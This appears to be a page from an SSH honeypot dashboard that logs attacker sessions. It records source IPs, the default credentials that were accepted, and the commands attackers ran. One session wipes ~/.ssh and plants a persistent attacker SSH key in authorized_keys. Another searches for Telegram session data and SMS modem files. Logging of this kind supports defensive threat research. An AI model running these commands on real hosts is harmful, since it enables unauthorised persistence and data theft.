Adversarial Observation Interface

34.77.8.143

2026-10-05 03:09:50.775163 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b2f4d58601ae

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "b2f4d58601ae",
  "src_ip": "34.77.8.143",
  "start_time": "2026-10-05T03:09:50.775163Z",
  "end_time": "2026-10-05T03:09:50.915419Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.22.152.86

2026-10-05 03:09:48.142419 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin

Record ID: 01e0ba596204

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: dde267e50f82fcc16a7e1e7b59b8af71

{
  "id": "01e0ba596204",
  "src_ip": "34.22.152.86",
  "start_time": "2026-10-05T03:09:48.142419Z",
  "end_time": "2026-10-05T03:09:48.864931Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "dde267e50f82fcc16a7e1e7b59b8af71",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

34.22.152.86

2026-10-05 03:09:47.728416 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9adc39df7a39

Client Version: SSH-2.0-Fingerprintx-SSH2

Engagement Duration: 8.0s

HASSH Fingerprint: 4e066189c3bbeec38c99b1855113733a

{
  "id": "9adc39df7a39",
  "src_ip": "34.22.152.86",
  "start_time": "2026-10-05T03:09:47.728416Z",
  "end_time": "2026-10-05T03:09:55.736268Z",
  "duration": "8.0",
  "version": "SSH-2.0-Fingerprintx-SSH2",
  "hassh": "4e066189c3bbeec38c99b1855113733a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.188.206.146

2026-10-05 03:05:38.882965 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: e04856aca5ed

Client Version: SSH-2.0-Go

Engagement Duration: 3.5s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "e04856aca5ed",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T03:05:38.882965Z",
  "end_time": "2026-10-05T03:05:42.396483Z",
  "duration": "3.5",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu1234"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

2.188.206.146

2026-10-05 02:56:13.067701 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 052768cbf220

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "052768cbf220",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:56:13.067701Z",
  "end_time": "2026-10-05T02:56:15.337385Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu123"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

193.24.211.218

2026-10-05 02:47:07.072947 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / default

Record ID: 848914809d57

Client Version: SSH-2.0-libssh2_1.11.0

Engagement Duration: 1.5s

HASSH Fingerprint: 14b2ddda386a4d1006108ccd231b42fc

{
  "id": "848914809d57",
  "src_ip": "193.24.211.218",
  "start_time": "2026-10-05T02:47:07.072947Z",
  "end_time": "2026-10-05T02:47:08.615451Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh2_1.11.0",
  "hassh": "14b2ddda386a4d1006108ccd231b42fc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "default"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.188.206.146

2026-10-05 02:46:48.270719 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 88e98d763a76

Client Version: SSH-2.0-Go

Engagement Duration: 2.9s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "88e98d763a76",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:46:48.270719Z",
  "end_time": "2026-10-05T02:46:51.186220Z",
  "duration": "2.9",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu1"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

95.85.148.44

2026-10-05 02:41:01.963759 UTC

SUCCESSFUL LOGIN RECONNAISSANCE DATA THEFT COMMANDS RUN ROUTER TARGETING SCORE: 530

Credential acceptance event recorded. Target authentication: ftpuser / test

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ /ip cloud print

Command not found: /ip cloud print

[obs-node]:~$ ifconfig

[obs-node]:~$ uname -a

[obs-node]:~$ cat /proc/cpuinfo

[obs-node]:~$ ps | grep '[Mm]iner'

[obs-node]:~$ ps -ef | grep '[Mm]iner'

[obs-node]:~$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

[obs-node]:~$ locate D877F783D5D3EF8Cs

[obs-node]:~$ echo Hi | cat -n

Record ID: be52ecd91f03

Client Version: SSH-2.0-libssh2_1.11.1

Engagement Duration: 1m 4s

HASSH Fingerprint: f45fb203c31069bb280067b71ed92ccb

{
  "id": "be52ecd91f03",
  "src_ip": "95.85.148.44",
  "start_time": "2026-10-05T02:41:01.963759Z",
  "end_time": "2026-10-05T02:42:05.452412Z",
  "duration": "63.5",
  "version": "SSH-2.0-libssh2_1.11.1",
  "hassh": "f45fb203c31069bb280067b71ed92ccb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ftpuser",
    "pass": "test"
  },
  "commands": [
    "/ip cloud print",
    "ifconfig",
    "uname -a",
    "cat /proc/cpuinfo",
    "ps | grep '[Mm]iner'",
    "ps -ef | grep '[Mm]iner'",
    "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
    "locate D877F783D5D3EF8Cs",
    "echo Hi | cat -n"
  ],
  "detailed_commands": [
    {
      "cmd": "/ip cloud print",
      "failed": true,
      "error": "Command not found: /ip cloud print"
    },
    {
      "cmd": "ifconfig",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ps | grep '[Mm]iner'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ps -ef | grep '[Mm]iner'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
      "failed": false,
      "error": null
    },
    {
      "cmd": "locate D877F783D5D3EF8Cs",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo Hi | cat -n",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/ip cloud print"
  ],
  "score": 530,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "DATA THEFT",
    "COMMANDS RUN",
    "ROUTER TARGETING"
  ]
}

95.85.148.44

2026-10-05 02:40:55.459757 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (4 distinct queries). Vector identities: pi

Record ID: 0a347dc72d63

Client Version: SSH-2.0-libssh2_1.11.1

Engagement Duration: 6.3s

HASSH Fingerprint: f45fb203c31069bb280067b71ed92ccb

{
  "id": "0a347dc72d63",
  "src_ip": "95.85.148.44",
  "start_time": "2026-10-05T02:40:55.459757Z",
  "end_time": "2026-10-05T02:41:01.796951Z",
  "duration": "6.3",
  "version": "SSH-2.0-libssh2_1.11.1",
  "hassh": "f45fb203c31069bb280067b71ed92ccb",
  "attempts": [
    {
      "user": "pi",
      "pass": "FAqY7=MZk66k-ob3Rmk"
    },
    {
      "user": "pi",
      "pass": "5nWt3P-fF4WosQm5O"
    },
    {
      "user": "pi",
      "pass": "pi"
    },
    {
      "user": "pi",
      "pass": "raspberry"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.188.206.146

2026-10-05 02:37:24.594534 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu!@#$

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 422adc1926f5

Client Version: SSH-2.0-Go

Engagement Duration: 3.6s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "422adc1926f5",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:37:24.594534Z",
  "end_time": "2026-10-05T02:37:28.206822Z",
  "duration": "3.6",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu!@#$"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

2.188.206.146

2026-10-05 02:28:04.046624 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu$

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 3249a05a8f68

Client Version: SSH-2.0-Go

Engagement Duration: 3.4s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "3249a05a8f68",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:28:04.046624Z",
  "end_time": "2026-10-05T02:28:07.488601Z",
  "duration": "3.4",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu$"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

216.180.246.192

2026-10-05 02:26:58.872346 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 78cd66dd971d

Client Version: SSH-2.0-Go

Engagement Duration: 0.6s

HASSH Fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd

{
  "id": "78cd66dd971d",
  "src_ip": "216.180.246.192",
  "start_time": "2026-10-05T02:26:58.872346Z",
  "end_time": "2026-10-05T02:26:59.456722Z",
  "duration": "0.6",
  "version": "SSH-2.0-Go",
  "hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

139.19.117.130

2026-10-05 02:25:47.703336 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: admin

Record ID: d2af9be34f24

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532

{
  "id": "d2af9be34f24",
  "src_ip": "139.19.117.130",
  "start_time": "2026-10-05T02:25:47.703336Z",
  "end_time": "2026-10-05T02:25:57.702272Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "admin",
      "pass": null
    },
    {
      "user": "admin",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.168

2026-10-05 02:25:28.791394 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 971115fe834f

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "971115fe834f",
  "src_ip": "2.57.122.168",
  "start_time": "2026-10-05T02:25:28.791394Z",
  "end_time": "2026-10-05T02:25:28.966953Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-10-05 02:23:26.780704 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: e992b3b78014

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "e992b3b78014",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-05T02:23:26.780704Z",
  "end_time": "2026-10-05T02:23:27.968812Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.188.206.146

2026-10-05 02:18:43.381253 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu!

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 676ef9a43dd0

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "676ef9a43dd0",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:18:43.381253Z",
  "end_time": "2026-10-05T02:18:45.570755Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu!"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

180.106.80.16

2026-10-05 02:18:06.603851 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9ebd862d567c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9ebd862d567c",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:18:06.603851Z",
  "end_time": "2026-10-05T02:20:06.627740Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

216.180.246.192

2026-10-05 02:16:13.475942 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8e15037970f5

Client Version: SSH-2.0-OPENSSH_7.9

Engagement Duration: 4.3s

HASSH Fingerprint: b21d7cdcc8133dc2b430d1a039fece20

{
  "id": "8e15037970f5",
  "src_ip": "216.180.246.192",
  "start_time": "2026-10-05T02:16:13.475942Z",
  "end_time": "2026-10-05T02:16:17.802928Z",
  "duration": "4.3",
  "version": "SSH-2.0-OPENSSH_7.9",
  "hassh": "b21d7cdcc8133dc2b430d1a039fece20",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

180.106.80.16

2026-10-05 02:16:03.500269 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 8da87744350c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.9s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "8da87744350c",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:16:03.500269Z",
  "end_time": "2026-10-05T02:16:05.411386Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

180.106.80.16

2026-10-05 02:15:57.476691 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4d192de1173b

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "4d192de1173b",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:15:57.476691Z",
  "end_time": "2026-10-05T02:17:57.483712Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 02:15:54.465219 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Changeme_1234

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d834833dbb97

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 10.9s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "d834833dbb97",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:15:54.465219Z",
  "end_time": "2026-10-05T02:16:05.400058Z",
  "duration": "10.9",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Changeme_1234"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

180.106.80.16

2026-10-05 02:13:41.513725 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8743ba8931ee

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "8743ba8931ee",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:13:41.513725Z",
  "end_time": "2026-10-05T02:15:41.572517Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 02:11:28.634552 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9883244abcf1

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9883244abcf1",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:11:28.634552Z",
  "end_time": "2026-10-05T02:13:28.672152Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

2.188.206.146

2026-10-05 02:09:26.736428 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu!@#

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: ba511bebb5ba

Client Version: SSH-2.0-Go

Engagement Duration: 3.3s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "ba511bebb5ba",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:09:26.736428Z",
  "end_time": "2026-10-05T02:09:30.047408Z",
  "duration": "3.3",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu!@#"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

180.106.80.16

2026-10-05 02:09:15.549637 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b765702d7165

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b765702d7165",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:09:15.549637Z",
  "end_time": "2026-10-05T02:11:15.569948Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 02:07:02.321412 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7d8453f39503

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7d8453f39503",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:07:02.321412Z",
  "end_time": "2026-10-05T02:09:02.341530Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 02:04:48.895478 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pavel

Record ID: e7cd3c44732e

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 3.0s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "e7cd3c44732e",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:04:48.895478Z",
  "end_time": "2026-10-05T02:04:51.848231Z",
  "duration": "3.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "pavel",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

149.107.243.123

2026-10-05 02:03:08.006739 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7a07254c8e20

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "7a07254c8e20",
  "src_ip": "149.107.243.123",
  "start_time": "2026-10-05T02:03:08.006739Z",
  "end_time": "2026-10-05T02:03:08.010139Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

180.106.80.16

2026-10-05 02:02:40.988431 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 8821edc5fe70

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.6s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "8821edc5fe70",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:02:40.988431Z",
  "end_time": "2026-10-05T02:02:42.568769Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

180.106.80.16

2026-10-05 02:02:37.807157 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 951a7d4a2211

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 3.0s

